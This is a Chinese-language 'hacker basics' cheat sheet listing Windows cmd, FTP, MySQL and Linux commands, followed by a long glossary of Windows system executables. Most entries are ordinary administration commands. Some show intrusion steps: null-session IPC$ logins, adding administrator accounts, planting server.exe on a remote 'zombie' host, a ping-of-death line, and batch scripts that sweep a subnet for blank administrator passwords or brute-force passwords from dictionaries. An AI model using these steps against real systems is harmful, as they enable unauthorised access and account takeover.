

黑客基础之 DOS （最齐全）

包含 cmd,sql,ftp,linux,及各种简洁命令

net use \$">\ip\ipc\$ " " /user:" " 建立 IPC 空链接

net use \$">\ip\ipc\$ "密码" /user:"用户名" 建立 IPC 非空链接

net use h: \$">\ip\c\$ "密码" /user:"用户名" 直接登陆后映射对方 C: 到本地为 H:

net use h: \$">\ip\c\$ 登陆后映射对方 C: 到本地为 H:

net use \$">\ip\ipc\$ /del 删除 IPC 链接

net use h: /del 删除映射对方到本地的为 H:的映射

net user 用户名 密码 /add 建立用户

net user guest /active:yes 激活 guest 用户

net user 查看有哪些用户

net user 帐户名 查看帐户的属性

net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,
注意: administrator 后加 s 用复数

net start 查看开启了哪些服务

net start 服务名 开启服务; (如:net start telnet, net start schedule)

net stop 服务名 停止某服务

net time \\目标 ip 查看对方时间

net time \\目标 ip /set 设置本地计算机时间与“目标 IP”主机的时间同步,加上参数/yes 可取消确认信息

net view 查看本地局域网内开启了哪些共享

net view \\ip 查看对方局域网内开启了哪些共享

net config 显示系统网络设置

net logoff 断开连接的共享

net pause 服务名 暂停某服务

net send ip "文本信息" 向对方发信息

net ver 局域网内正在使用的网络连接类型和信息

net share 查看本地开启的共享

net share ipc\$ 开启 ipc\$共享

net share ipc\$ /del 删除 ipc\$共享

net share c\$ /del 删除 C: 共享

net user guest 12345 用 guest 用户登陆后将密码改为 12345

net password 密码 更改系统登陆密码

netstat -a 查看开启了哪些端口,常用 netstat -an

netstat -n 查看端口的网络连接情况, 常用 netstat -an

netstat -v 查看正在进行的工作

netstat -p 协议名 例: netstat -p tcp/ip 查看某协议使用情况 (查看 tcp/ip 协议使用情况)

netstat -s 查看正在使用的所有协议使用情况

nbtstat -A ip 对方 136 到 139 其中一个端口开了的话, 就可查看对方最近登陆的用户名 (03 前的为用户名) -注意: 参数-A 要大写

tracert -参数 ip(或计算机名) 跟踪路由 (数据包), 参数: “-w 数字” 用于设置超时间隔。

ping ip(或域名) 向对方主机发送默认大小为 32 字节的数据, 参数: “-l[空格]数据包大小”; “-n 发送数据次数”; “-t” 指一直 ping。

ping -t -l 65550 ip 死亡之 ping(发送大于 64K 的文件并一直 ping 就成了死亡之 ping)

ipconfig (winipcfg) 用于 windows NT 及 XP(windows 95 98)查看本地 ip 地址, ipconfig 可用参

数 “/all” 显示全部配置信息

`tlst -t` 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的 `Support/tools` 文件夹内)

`kill -F` 进程名 加-F 参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的 `Support/tools` 文件夹内)

`del -F` 文件名 加-F 参数后就可删除只读文件，/AR、/AH、/AS、/AA 分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A 表示删除除只读、隐藏、系统、存档以外的文件。例如 “`DEL/AR *.*`” 表示删除当前目录下所有只读文件，“`DEL/A-S *.*`” 表示删除当前目录下除系统文件以外的所有文件

`del /S /Q` 目录 或用：`rmdir /s /Q` 目录 /S 删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)

`move` 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y 将取消确认移动目录存在相同文件的提示就直接覆盖

`fc one.txt two.txt > 3st.txt` 对比二个文件并把不同之处输出到 `3st.txt` 文件中，“>”和“> >” 是重定向命令

`at id 号` 开启已注册的某个计划任务

`at /delete` 停止所有计划任务，用参数/yes 则不需要确认就直接停止

`at id 号 /delete` 停止某个已注册的计划任务

`at` 查看所有的计划任务

`at \ip time` 程序名(或一个命令)/r 在某时间运行对方某程序并重新启动计算机

`finger username @host` 查看最近有哪些用户登陆

`telnet ip 端口` 远和登陆服务器,默认端口为 23

`open ip` 连接到 IP (属 `telnet` 登陆后的命令)

`telnet` 在本机上直接键入 `telnet` 将进入本机的 `telnet`

`copy 路径\文件名 1 路径\文件名 2 /y` 复制文件 1 到指定的目录为文件 2，用参数/y 就同时取消确认你要改写一份现存目录文件

`copy c:\srv.exe $">\\ip\admin$` 复制本地 `c:\srv.exe` 到对方的 `admin` 下

`copy 1st.jpg/b+2st.txt/a 3st.jpg` 将 `2st.txt` 的内容藏身到 `1st.jpg` 中生成 `3st.jpg` 新的文件，注：
`2st.txt` 文件头要空三排，参数：`/b` 指二进制文件，`/a` 指 ASCII 格式文件

`copy $\svv.exe">\\ip\admin$\svv.exe c:\` 或：`copy \\ip\admin$ *.*` 复制对方 `admin$` 共享下的
`svv.exe` 文件（所有文件）至本地 `C:`

`xcopy` 要复制的文件或目录树 目标地址\目录名 复制文件和目录树，用参数 `/Y` 将不提示覆盖相同文件

`tftp -i` 自己 IP(用肉机作跳板时这用肉机 IP) `get server.exe c:\server.exe` 登陆后，将“IP”的
`server.exe` 下载到目标主机 `c:\server.exe` 参数：`-i` 指以二进制模式传送，如传送 `exe` 文件时用，
如不加 `-i` 则以 ASCII 模式（传送文本文件模式）进行传送

`tftp -i` 对方 IP `put c:\server.exe` 登陆后，上传本地 `c:\server.exe` 至主机

`ftp ip` 端口 用于上传文件至服务器或进行文件操作，默认端口为 21。`bin` 指用二进制方式传送（可执行文件进）；默认为 ASCII 格式传送(文本文件时)

`route print` 显示出 IP 路由，将主要显示网络地址 `Network address`，子网掩码 `Netmask`，网关地址 `Gateway address`，接口地址 `Interface`

`arp` 查看和处理 ARP 缓存，ARP 是名字解析的意思，负责把一个 IP 解析成一个物理性的 MAC 地址。`arp -a` 将显示出全部信息

`start` 程序名或命令 `/max` 或 `/min` 新开一个新窗口并最大化（最小化）运行某程序或命令

`mem` 查看 `cpu` 使用情况

`attrib` 文件名(目录名) 查看某文件（目录）的属性

`attrib` 文件名 `-A -R -S -H` 或 `+A +R +S +H` 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用 `+` 则是添加为某属性

`dir` 查看文件，参数：`/Q` 显示文件及目录属系统哪个用户，`/T:C` 显示文件创建时间，`/T:A` 显示文件上次被访问时间，`/T:W` 上次被修改时间

`date /t`、`time /t` 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间，而不必输入新日期和时间

`set` 指定环境变量名称=要指派给变量的字符 设置环境变量

`set` 显示当前所有环境变量

`set p(或其它字符)` 显示出当前以字符 `p(或其它字符)` 开头的所有环境变量

`pause` 暂停批处理程序，并显示出：请按任意键继续....

`if` 在批处理程序中执行条件处理（更多说明见 `if` 命令及变量）

`goto` 标签 将 `cmd.exe` 导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：“: start” 标签）

`call` 路径\批处理文件名 从批处理程序中调用另一个批处理程序（更多说明见 `call /?`）

`for` 对一组文件中的每一个文件执行某个特定命令（更多说明见 `for` 命令及变量）

`echo on` 或 `off` 打开或关闭 `echo`，仅用 `echo` 不加参数则显示当前 `echo` 设置

`echo` 信息 在屏幕上显示出信息

`echo` 信息 >> `pass.txt` 将"信息"保存到 `pass.txt` 文件中

`findstr "Hello" aa.txt` 在 `aa.txt` 文件中寻找字符串 `hello`

`find` 文件名 查找某文件

`title` 标题名字 更改 `CMD` 窗口标题名字

`color` 颜色值 设置 `cmd` 控制台前景和背景颜色；0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白

`prompt` 名称 更改 `cmd.exe` 的显示的命令提示符(把 `C:\`、`D:\`统一改为: `EntSky\`)

`print` 文件名 打印文本文件

`ver` 在 `DOS` 窗口下显示版本信息

`winver` 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名）

`format` 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS,例: `Format D: /FS:NTFS`

`md` 目录名 创建目录

`replace` 源文件 要替换文件的目录 替换文件

`ren` 原文件名 新文件名 重命名文件名

`tree` 以树形结构显示出目录，用参数 `-f` 将列出第个文件夹中文件名称

`type` 文件名 显示文本文件的内容

`more` 文件名 逐屏显示输出文件

`doskey` 要锁定的命令=字符

`doskey` 要解锁命令= 为 DOS 提供的锁定命令(编辑命令行,重新调用 `win2k` 命令,并创建宏)。
如: 锁定 `dir` 命令: `doskey dir=entsky` (不能用 `doskey dir=dir`); 解锁: `doskey dir=`

`taskmgr` 调出任务管理器

`chkdsk /F D`: 检查磁盘 D 并显示状态报告; 加参数 `/f` 并修复磁盘上的错误

`tlntadm telnt` 服务 `adm`,键入 `tlntadm` 选择 3, 再选择 8,就可以更改 `telnet` 服务默认端口 23 为其它任何端口

`exit` 退出 `cmd.exe` 程序或目前, 用参数 `/B` 则是退出当前批处理脚本而不是 `cmd.exe`

`path` 路径\可执行文件的文件名 为可执行文件设置一个路径。

`cmd` 启动一个 `win2K` 命令解释窗口。参数: `/eff`、`/en` 关闭、开启命令扩展; 更我详细说明见 `cmd /?`

`regedit /s` 注册表文件名 导入注册表; 参数 `/S` 指安静模式导入, 无任何提示;

`regedit /e` 注册表文件名 导出注册表

`cacls` 文件名 参数 显示或修改文件访问控制列表 (ACL)——针对 `NTFS` 格式时。参数: `/D` 用户名:设定拒绝某用户访问; `/P` 用户名:perm 替换指定用户的访问权限; `/G` 用户名:perm 赋予指定用户访问权限; Perm 可以是: `N` 无, `R` 读取, `W` 写入, `C` 更改(写入), `F` 完全控制; 例: `cacls D:\test.txt /D pub` 设定 `d:\test.txt` 拒绝 `pub` 用户访问。

`cacls` 文件名 查看文件的访问用户权限列表

`REM` 文本内容 在批处理文件中添加注解

`netsh` 查看或更改本地网络配置情况

IIS 服务命令：

iisreset /reboot 重启 win2k 计算机（但有提示系统将重启信息出现）

iisreset /start 或 stop 启动（停止）所有 Internet 服务

iisreset /restart 停止然后重新启动所有 Internet 服务

iisreset /status 显示所有 Internet 服务状态

iisreset /enable 或 disable 在本地系统上启用（禁用）Internet 服务的重新启动

iisreset /rebootonerror 当启动、停止或重新启动 Internet 服务时，若发生错误将重新开机

iisreset /noforce 若无法停止 Internet 服务，将不会强制终止 Internet 服务

iisreset /timeout Val 在到达逾时间（秒）时，仍未停止 Internet 服务，若指定/rebootonerror 参数，则电脑将会重新开机。预设值为重新启动 20 秒，停止 60 秒，重新开机 0 秒。

FTP 命令：（后面有详细说明内容）

ftp 的命令行格式为：

ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。

-d 使用调试方式。

-n 限制 ftp 的自动登录,即不使用.netrc 文件。

-g 取消全局文件名。

help [命令] 或 ? [命令] 查看命令说明

bye 或 quit 终止主机 FTP 进程,并退出 FTP 管理方式.

pwd 列出当前远端主机目录

put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中

get 或 recv [远程主机文件名][下载到本地后的文件名] 从远端主机中传送至本地主机中

`mget [remote-files]` 从远端主机接收一批文件至本地主机

`mput local-files` 将本地主机中一批文件传送至远端主机

`dir` 或 `ls [remote-directory] [local-file]` 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件

`ascii` 设定以 ASCII 方式传送文件(缺省值)

`bin` 或 `image` 设定以二进制方式传送文件

`bell` 每完成一次文件传送,报警提示

`cdup` 返回上一级目录

`close` 中断与远程服务器的 ftp 会话(与 `open` 对应)

`open host[port]` 建立指定 ftp 服务器连接,可指定连接端口

`delete` 删除远端主机中的文件

`mdelete [remote-files]` 删除一批文件

`mkdir directory-name` 在远端主机中建立目录

`rename [from] [to]` 改变远端主机中的文件名

`rmdir directory-name` 删除远端主机中的目录

`status` 显示当前 FTP 的状态

`system` 显示远端主机系统类型

`user user-name [password] [account]` 重新以别的用户名登录远端主机

`open host [port]` 重新建立一个新的连接

`prompt` 交互提示模式

`macdef` 定义宏命令

`lcd` 改变当前本地主机的工作目录,如果缺省,就转到当前用户的 HOME 目录

`chmod` 改变远端主机的文件权限

case 当为 ON 时,用 MGGET 命令拷贝的文件名到本地机器中,全部转换为小写字母

cd remote -dir 进入远程主机目录

cdup 进入远程主机目录的父目录

! 在本地机中执行交互 shell, exit 回到 ftp 环境,如!ls *.zip

MYSQL 命令:

mysql -h 主机地址 -u 用户名 -p 密码 连接 MYSQL;如果刚安装好 MYSQL, 超级用户 root 是没有密码的。

(例: mysql -h110.110.110.110 -Uroot -P123456

注:u 与 root 可以不用加空格, 其它也一样)

exit 退出 MYSQL

mysqladmin -u 用户名 -p 旧密码 password 新密码 修改密码

grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是 MYSQL 环境中的命令,所以后面都带一个分号作为命令结束符)

show databases; 显示数据库列表。刚开始时才两个数据库: mysql 和 test。mysql 库很重要它里面有 MYSQL 的系统信息, 我们改密码和新增用户, 实际上就是用这个库进行操作。

use mysql;

show tables; 显示库中的数据表

describe 表名; 显示数据表的结构

create database 库名; 建库

use 库名;

create table 表名 (字段设定列表); 建表

drop database 库名;

`drop table` 表名: 删库和删表

`delete from` 表名; 将表中记录清空

`select * from` 表名; 显示表中的记录

`mysqldump --opt school>school.bbb` 备份数据库: (命令在 DOS 的 \\mysql\\bin 目录下执行);
注释:将数据库 school 备份到 school.bbb 文件, school.bbb 是一个文本文件, 文件名任取, 打开看看你会有新发现。

win2003 系统下新增命令 (实用部份):

`shutdown /参数` 关闭或重启本地或远程主机。

参数说明: /S 关闭主机, /R 重启主机, /T 数字 设定延时的时间, 范围 0~180 秒之间,
/A 取消开机, /M //IP 指定的远程主机。

例: `shutdown /r /t 0` 立即重启本地主机 (无延时)

`taskkill /参数` 进程名或进程的 pid 终止一个或多个任务和进程。

参数说明: /PID 要终止进程的 pid,可用 `tasklist` 命令获得各进程的 pid, /IM 要终止的进程的
进程名, /F 强制终止进程, /T 终止指定的进程及他所启动的子进程。

`tasklist` 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。

参数说明: /M 列出当前进程加载的 dll 文件, /SVC 显示出每个进程对应的服务, 无参数时
就只列出当前的进程。

Linux 系统下基本命令: 要区分大小写

`uname` 显示版本信息 (同 win2K 的 `ver`)

`dir` 显示当前目录文件, `ls -al` 显示包括隐藏文件 (同 win2K 的 `dir`)

`pwd` 查询当前所在的目录位置

`cd cd ..`回到上一层目录, 注意 `cd` 与 `..`之间有空格。 `cd /`返回到根目录。

`cat` 文件名 查看文件内容

`cat >abc.txt` 往 abc.txt 文件中写上内容。

`more` 文件名 以一页一页的方式显示一个文本文件。

`cp` 复制文件

`mv` 移动文件

`rm` 文件名 删除文件，`rm -a` 目录名删除目录及子目录

`mkdir` 目录名 建立目录

`rmdir` 删除子目录，目录内没有文档。

`chmod` 设定档案或目录的存取权限

`grep` 在档案中查找字符串

`diff` 档案文件比较

`find` 档案搜寻

`date` 现在的日期、时间

`who` 查询目前和你使用同一台机器的人以及 Login 时间地点

`w` 查询目前上机者的详细资料

`whoami` 查看自己的帐号名称

`groups` 查看某人的 Group

`passwd` 更改密码

`history` 查看自己下过的命令

`ps` 显示进程状态

`kill` 停止某进程

`gcc` 黑客通常用它来编译 C 语言写的文件

`su` 权限转换为指定使用者

`telnet IP telnet` 连接对方主机（同 win2K），当出现 `bash$`时就说明连接成功。

ftp ftp 连接上某服务器（同 win2K）

附：批处理命令与变量

1: for 命令及变量 基本格式:

FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数，如: %i ，而指定一个变量则用: %%i ，而调用变量时用: %i% ，变量是区分大小写的（%i 不等于 %I）。

批处理每次能处理的变量从%0—%9 共 10 个，其中%0 默认给批处理文件名使用，%1 默认为使用此批处理时输入的的第一个值，同理: %2—%9 指输入的第 2-9 个值；例: net use \$">\\ip\ipc\$ pass /user:user 中 ip 为%1,pass 为%2 ,user 为%3

(set):指定一个或一组文件，可使用通配符，如: (D:\user.txt)和(1 1 254)(1 -1 254),{“(1 1 254)”第一个“1”指起始值，第二个“1”指增长量，第三个“254”指结束值，即: 从 1 到 254;“(1 -1 254)”说明: 即从 254 到 1}

command: 指定对第个文件执行的命令，如: net use 命令；如要执行多个命令时，命令这间加: & 来隔开

command_parameters: 为特定命令指定参数或命令行开关

IN (set): 指在(set)中取值； DO command : 指执行 command

参数: /L 指用增量形式{(set)为增量形式时}; /F 指从文件中不断取值，直到取完为止{(set)为文件时，如(d:\pass.txt)时}。

用法举例:

@echo off

echo 用法格式: test.bat *.*.* >test.txt

```
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator |  
find "命令成功完成" >>test.txt
```

存为 test.bat 说明: 对指定的一个 C 类网段的 254 个 IP 依次试建立 administrator 密码为空的 IPC\$连接, 如果成功就把该 IP 存在 test.txt 中。

/L 指用增量形式(即从 1-254 或 254-1); 输入的 IP 前面三位: *.*.*为批处理默认的 %1; %%G 为变量(ip 的最后一位); & 用来隔开 echo 和 net use 这二个命令; | 指建立了 ipc\$后, 在结果中用 find 查看是否有"命令成功完成"信息; %1.%%G 为完整的 IP 地址; (1 1 254) 指起始值, 增长量, 终止值。

@echo off

echo 用法格式: ok.bat ip

```
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
```

存为: ok.exe 说明: 输入一个 IP 后, 用字典文件 d:\pass.dic 来暴解 d:\user.dic 中的用户密码, 直到文件中值取完为止。%%i 为用户名; %1 为输入的 IP 地址(默认)。

accwiz.exe > 辅助工具向导

acsetups.exe > acs setup dcom server executable

actmovie.exe > 直接显示安装工具

append.exe > 允许程序打开制定目录中的数据

arp.exe > 显示和更改计算机的 ip 与硬件物理地址的对应列表

at.exe > 计划运行任务

atmadm.exe > 调用管理器统计

attrib.exe > 显示和更改文件和文件夹属性

autochk.exe > 检测修复文件系统

autoconv.exe > 在启动过程中自动转化系统

autofmt.exe > 在启动过程中格式化进程

autofn.exe > 使用长文件名格式

bootok.exe > boot acceptance application for registry

bootvrfy.exe > 通报启动成功

cacls.exe > 显示和编辑 acl

calc.exe > 计算器

cdplayer.exe > cd 播放器

change.exe > 与终端服务器相关的查询

charmap.exe > 字符映射表

chglogon.exe > 启动或停用会话记录

chgport.exe > 改变端口（终端服务）

chgusr.exe > 改变用户（终端服务）

chkdsk.exe > 磁盘检测程序

chkntfs.exe > 磁盘检测程序

cidaemon.exe > 组成 ci 文档服务

cipher.exe > 在 ntfs 上显示或改变加密的文件或目录

cisvc.exe > 索引内容

ckcnv.exe > 变换 cookie

cleanmgr.exe > 磁盘清理

cliconfg.exe > sql 客户网络工具

clipbrd.exe > 剪贴簿查看器

clipsrv.exe > 运行 clipboard 服务

clspack.exe > 建立系统文件列表清单

cluster.exe > 显示域的集群

cmd.exe > 没什么好说的!

cmdl32.exe > 自动下载连接管理

cmmgr32.exe > 连接管理器

cmmon32.exe > 连接管理器监视

cmstp.exe > 连接管理器配置文件安装程序

comclust.exe > 集群

comp.exe > 比较两个文件和文件集的内容 *

compact.exe > 显示或改变 ntfs 分区上文件的压缩状态

conime.exe > ime 控制台

control.exe > 控制面板

convert.exe > 转换文件系统到 ntfs

convlog.exe > 转换 iis 日志文件格式到 ncsa 格式

cprofile.exe > 转换显示模式

cscript.exe > 较本宿主版本

csrss.exe > 客户服务器 runtime 进程

csvde.exe > 日至格式转换程序

dbgtrace.exe > 和 terminal server 相关

dcomcnfg.exe > dcom 配置属性

dcphelp.exe > ?

dcpromo.exe > ad 安装向导

ddeshare.exe > dde 共享

ddmprxy.exe >

debug.exe > 就是 debug 啦!

dfrgfat.exe > fat 分区磁盘碎片整理程序

dfrgntfs.exe > ntfs 分区磁盘碎片整理程序

dfs_cmd_.exe > 配置一个 dfs 树

dfsinit.exe > 分布式文件系统初始化

dfssvc.exe > 分布式文件系统服务器

diantz.exe > 制作 cab 文件

diskperf.exe > 磁盘性能计数器

dllhost.exe > 所有 com+应用软件的主进程

dllhst3g.exe >

dmadmin.exe > 磁盘管理服务

dmremote.exe > 磁盘管理服务的一部分

dns.exe > dns applications dns

doskey.exe > 命令行创建宏

dosx.exe > dos 扩展

dplaysvr.exe > 直接运行帮助

drwatson.exe > 华生医生错误检测

drwtsn32.exe > 华生医生显示和配置管理

dtcsetup.exe > installs mdtc

dvdplay.exe > dvd 播放

dxdiag.exe > direct-x 诊断工具

edlin.exe > 命令行的文本编辑器（历史悠久啊！）

edlin.exe > 命令行的文本编辑器（历史悠久啊！）

esentutl.exe > ms 数据库工具

eudcedit.exe > type 造字程序

eventvwr.exe > 事件查看器

evnt_cmd_.exe > event to trap translator; configuration tool

evntwin.exe > event to trap translator setup

exe2bin.exe > 转换 exe 文件到二进制

expand.exe > 解压缩

extrac32.exe > 解 cab 工具

fastopen.exe > 快速访问在内存中的硬盘文件

faxcover.exe > 传真封面编辑

faxqueue.exe > 显示传真队列

faxsend.exe > 发送传真向导

faxsvc.exe > 启动传真服务

fc.exe > 比较两个文件的不同

find.exe > 查找文件中的文本行

findstr.exe > 查找文件中的行

finger.exe > 一个用户并显示出统计结果

fixmapi.exe > 修复 mapi 文件

flattemp.exe > 允许或者禁用临时文件目录

fontview.exe > 显示字体文件中的字体

forcedos.exe > forces a file to start in dos mode. 强制文件在 dos 模式下运行

freecell.exe > popular windows game 空当接龙

ftp.exe > file transfer protocol used to transfer files over a network conne

ction 就是 ftp 了

gdi.exe > graphic device interface 图形界面驱动

grovel.exe >

grpconv.exe > program manager group convertor 转换程序管理员组

help.exe > displays help for windows 2000 commands 显示帮助

hostname.exe > display hostname for machine. 显示机器的 hostname

ie4uinit.exe > ie5 user install tool ie5 用户安装工具

ieshwiz.exe > customize folder wizard 自定义文件夹向导

iexpress.exe > create and setup packages for install 穿件安装包

iisreset.exe > restart iis admin service 重启 iis 服务

internat.exe > keyboard language indicator applet 键盘语言指示器

ipconfig.exe > windows 2000 ip configuration. 察看 ip 配置

ipsecmon.exe > ip security monitor ip 安全监视器

ipxroute.exe > ipx routing and source routing control program ipx 路由和源路由
控制程序

irftp.exe > setup ftp for wireless communication 无线连接

ismserv.exe > intersite messaging service 安装或者删除 service control manage
r 中的服务

jdbgmgr.exe > microsoft debugger for java 4 java4 的调试器

jetconv.exe > convert a jet engine database 转换 jet engine 数据库

jetpack.exe > compact jet database. 压缩 jet 数据库

jview.exe > command-line loader for java java 的命令行装载者

krnl386.exe > core component for windows 2000 2000 的核心组件

label.exe > change label for drives 改变驱动器的卷标

lcwiz.exe > license compliance wizard for local or remote systems. 许可证符合
向导

ldifde.exe > ldif cmd line manager ldif 目录交换命令行管理

licmgr.exe > terminal server license manager 终端服务许可协议管理

lights.exe > display connection status lights 显示连接状况

llsmgr.exe > windows 2000 license manager 2000 许可协议管理

lssrv.exe > start the license server 启动许可协议服务器

Inkstub.exe >

locator.exe > rpc locator 远程定位

lodctr.exe > load perfmon counters 调用性能计数

logoff.exe > log current user off. 注销用户

lpq.exe > displays status of a remote lpd queue 显示远端的 lpd 打印队列的状态,

显示被送到基于 unix 的服务器的打印任务

lpr.exe > send a print job to a network printer. 重定向打印任务到网络中的打印

机。通常用于 unix 客户打印机将打印任务发送给连接了打印设备的 nt 的打印机服务器。

lsass.exe > lsa executable and server dll 运行 lsa 和 server 的 dll

lserver.exe > specifies the new dns domain for the default server 指定默认 se

rver 新的 dns 域

os2.exe > an os/2 warp server (os2 /o) os/2

os2srv.exe > an os/2 warp server os/2

os2ss.exe > an os/2 warp server os/2

osk.exe > on screen keyboard 屏幕键盘

packager.exe > windows 2000 packager manager 对象包装程序

pathping.exe > combination of ping and tracert 包含 ping 和 tracert 的程序

pax.exe > is a posix program and path names used as arguments must be specif

ied in posix format. use "//c/users/default" instead of "c:\users\default."

启动便携式存档互换 (pax) 实用程序

pentnt.exe > used to check the pentium for the floating point division error

. 检查 pentium 的浮点错误

perfmon.exe > starts windows performance monitor 性能监视器

ping.exe > packet internet groper 验证与远程计算机的连接

posix.exe > used for backward compatibility with unix 用于兼容 unix

print.exe > cmd line used to print files 打印文本文件或显示打印队列的内容。

progman.exe > program manager 程序管理器

proquota.exe > profile quota program

psxss.exe > posix subsystem application posix 子系统应用程序

qappsrv.exe > displays the available application terminal servers on the net

work

在网络上显示终端服务器可用的程序

qprocess.exe > display information about processes local or remote 在本地或远

程显示进程的信息（需终端服务）

query.exe > query termserver user process and sessions 查询进程和对话

quser.exe > display information about a user logged on 显示用户登陆的信息（需

终端服务）

qwinsta.exe > display information about terminal sessions. 显示终端服务的信息

rasadmin.exe > start the remote access admin service 启动远程访问服务

rasautou.exe > creates a ras connection 建立一个 ras 连接

rasdial.exe > dial a connection 拨号连接

ras.exe > starts a ras connection 运行 ras 连接

rcp.exe > copies a file from and to a rcp service. 在 windows 2000 计算机和运行远程外壳端口监控程序 rshd 的系统之间复制文件

rdpclip.exe > rdpclip allows you to copy and paste files between a terminal session and client console session. 再终端和本地复制和粘贴文件

recover.exe > recovers readable information from a bad or defective disk 从坏的或有缺陷的磁盘中恢复可读取的信息。

redir.exe > starts the redirector service 运行重定向服务

regedt32.exe > 32-bit register service 32 位注册服务

regini.exe > modify registry permissions from within a script 用脚本修改注册许可

register.exe > register a program so it can have special execution characteristics. 注册包含特殊运行字符的程序

regsvc.exe >

regsvr32.exe > registers and unregister's dll's. as to how and where it registers them i dont know. 注册和反注册 dll

regtrace.exe > options to tune debug options for applications failing to dump trace statements

trace 设置

regwiz.exe > registration wizard 注册向导

remrras.exe >

replace.exe > replace files 用源目录中的同名文件替换目标目录中的文件。

reset.exe > reset an active section 重置活动部分

rexec.exe > runs commands on remote hosts running the rexec service. 在运行

rexec 服务的远程计算机上运行命令。rexec 命令在执行指定命令前，验证远程计算机上的用户名，只有安装了 tcp/ip 协议后才可以使用该命令。

risetup.exe > starts the remote installation service wizard. 运行远程安装向导
服务

route.exe > display or edit the current routing tables. 控制网络路由表

routemon.exe > no longer supported 不再支持了！

router.exe > router software that runs either on a dedicated dos or on an os
/2 system. route 软件在 dos 或者是 os/2 系统

rsh.exe > runs commands on remote hosts running the rsh service 在运行 rsh 服
务的远程计算机上运行命令

rsm.exe > mounts and configures remote system media 配置远程系统媒体

rsnotify.exe > remote storage notification recall 远程存储通知回显

rsvp.exe > resource reservation protocol 源预约协议

runas.exe > run a program as another user 允许用户用其他权限运行指定的工具和
程序

rundll32.exe > launches a 32-bit dll program 启动 32 位 dll 程序

runonce.exe > causes a program to run during startup 运行程序再开始菜单中

rwinsta.exe > reset the session subsystem hardware and software to known ini
tial values 重置会话子系统硬件和软件到最初的值

savedump.exe > does not write to e:\winnt\user.dmp 不写入 user.dmp 中

scardsvr.exe > smart card resource management server 智能卡资源管理服务器

schupgr.exe > it will read the schema update files (.ldf files) and upgrade

the schema. (part of adsi) 读取计划更新文件和更新计划

secedit.exe > starts security editor help 自动安全性配置管理

services.exe > controls all the services 控制所有服务

sethc.exe > set high contrast - changes colours and display mode logoff to s

et it back to normal 设置高对比

setreg.exe > shows the software publishing state key values 显示软件发布的国

家语言

setup.exe > gui box prompts you to goto control panel to configure system co

ponents 安装程序（转到控制面板）

setver.exe > set version for files 设置 ms-dos 子系统向程序报告的 ms-dos 版本

号

sfc.exe > system file checker test and check system files for integrity 系统

文件检查

sfmprint.exe > print services for macintosh 打印 macintosh 服务

sfmpsex.exe >

sfmsvc.exe >

shadow.exe > monitor another terminal services session. 监控另外一台中端服务

器会话

share.exe > windows 2000 和 ms-dos 子系统不使用该命令。接受该命令只是为了与

ms-dos 文件兼容

shmgrate.exe >

shrpubw.exe > create and share folders 建立和共享文件夹

sigverif.exe > file signature verification 文件签名验证

skeys.exe > serial keys utility 序列号制作工具

smlogsvc.exe > performance logs and alerts 性能日志和警报

smss.exe >

sndrec32.exe > starts the windows sound recorder 录音机

sndvol32.exe > display the current volume information 显示声音控制信息

snmp.exe > simple network management protocol used for network mangement 简单

网络管理协议

snmptrap.exe > utility used with snmp snmp 工具

sol.exe > windows solitaire game 纸牌

sort.exe > compares files and folders 读取输入、排序数据并将结果写到屏幕、文

件和其他设备上

SPOOLSV.EXE > Part of the spooler service for printing 打印池服务的一部分

sprestrt.exe >

srvmgr.exe > Starts the Windows Server Manager 服务器管理器

stimon.exe > WDM StillImage- > Monitor

stisvc.exe > WDM StillImage- > Service

subst.exe > Associates a path with a drive letter 将路径与驱动器盘符关联

svchost.exe > Svchost.exe is a generic host process name for services that a

re run from dynamic-link libraries (DLLs). DLL 得主进程

syncapp.exe > Creates Windows Briefcase. 创建 Windows 文件包

sysedit.exe > Opens Editor for 4 system files 系统配置编辑器

syskey.exe > Encrypt and secure system database NT 账号数据库按群工具

sysocmgr.exe > Windows 2000 Setup 2000 安装程序

systray.exe > Starts the systray in the lower right corner. 在低权限运行 syst

ray

macfile.exe > Used for managing MACFILES 管理 MACFILES

magnify.exe > Used to magnify the current screen 放大镜

makecab.exe > MS Cabinet Maker 制作 CAB 文件

mdm.exe > Machine Debug Manager 机器调试管理

mem.exe > Display current Memory stats 显示内存状态

migpwd.exe > Migrate passwords. 迁移密码

mmc.exe > Microsoft Management Console 控制台

mnmsrvc.exe > Netmeeting Remote Desktop Sharing NetMeeting 远程桌面共享

mobsync.exe > Manage Synchronization. 同步目录管理器

mountvol.exe > Creates, deletes, or lists a volume mount point. 创建、删除或

列出卷的装入点。

mplay32.exe > MS Media Player 媒体播放器

mpnotify.exe > Multiple Provider Notification application 多提供者通知应用程

序

mq1sync.exe >

mqbkup.exe > MS Message Queue Backup and Restore Utility 信息队列备份和恢复工

具

mqexchng.exe > MSMQ Exchange Connector Setup 信息队列交换连接设置

mqmig.exe > MSMQ Migration Utility 信息队列迁移工具

mqsvc.exe > ?

mrinfo.exe > Multicast routing using SNMP 使用 SNMP 多点传送路由

mcsdext.exe > Installs MSCD (MS CD Extensions) 安装 MSCD

msdtc.exe > Dynamic Transaction Controller Console 动态事务处理控制台

